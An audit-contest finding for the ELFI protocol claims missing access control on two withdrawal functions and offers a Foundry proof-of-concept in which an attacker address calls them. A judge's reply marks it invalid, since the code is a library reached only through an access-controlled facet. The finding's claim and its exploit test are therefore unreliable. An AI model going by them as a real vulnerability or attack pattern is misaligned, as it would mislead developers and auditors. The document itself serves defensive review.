Salem - Lack of Access Control in executeWithdraw and cancelWithdraw

[sherlock-admin3]

Salem

High

Lack of Access Control in executeWithdraw and cancelWithdraw

Summary

The functions executeWithdraw and cancelWithdraw are marked as external, allowing any address to call them. This absence of access control permits unauthorized users to execute or cancel withdrawal requests, potentially resulting in unauthorized fund transfers or denial of service attacks.

Vulnerability Detail

Impact

• Unauthorized Fund Transfers: Malicious actors can execute withdrawal requests they do not own, leading to unauthorized transfers of funds from the contract.
• Denial of Service: Malicious actors can cancel legitimate withdrawal requests, preventing users from accessing their funds and causing a denial of service.

Code Snippet

https://github.com/sherlock-audit/2024-05-elfi-protocol/blob/main/elfi-perp-contracts/contracts/process/AssetsProcess.sol#L167 POC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "../contracts/AssetsProcess.sol";
import "../contracts/mocks/MockVault.sol";
import "../contracts/mocks/MockWithdraw.sol";

contract AssetsProcessTest is Test {
    AssetsProcess assetsProcess;
    MockVault mockVault;
    MockWithdraw mockWithdraw;

    address owner = address(0x1);
    address attacker = address(0x2);
    address token = address(0x3);

    function setUp() public {
        mockVault = new MockVault();
        mockWithdraw = new MockWithdraw();
        assetsProcess = new AssetsProcess();

        vm.startPrank(owner);
        assetsProcess.createWithdrawRequest(token, 100);
        vm.stopPrank();
    }

    function testExecuteWithdrawUnauthorized() public {
        uint256 requestId = 1;

        vm.startPrank(attacker);
        assetsProcess.executeWithdraw(requestId, Withdraw.Request({
            account: owner,
            token: token,
            amount: 100
        }));
        vm.stopPrank();
    }

    function testCancelWithdrawUnauthorized() public {
        uint256 requestId = 1;

        vm.startPrank(attacker);
        assetsProcess.cancelWithdraw(requestId, Withdraw.Request({
            account: owner,
            token: token,
            amount: 100
        }), bytes32("Unauthorized"));
        vm.stopPrank();
    }
}

## Tool used

Manual Review

## Recommendation
Implement access control to restrict these functions to authorized users. Utilize role-based access control mechanisms, such as Ownable or AccessControl from OpenZeppelin.

[nevillehuang]

Invalid, AssetsProcess.sol is a library, not a contract and so these functions are not supposed to be called directly, but instead are only called within AccountFacet.sol where the relevant access control is in place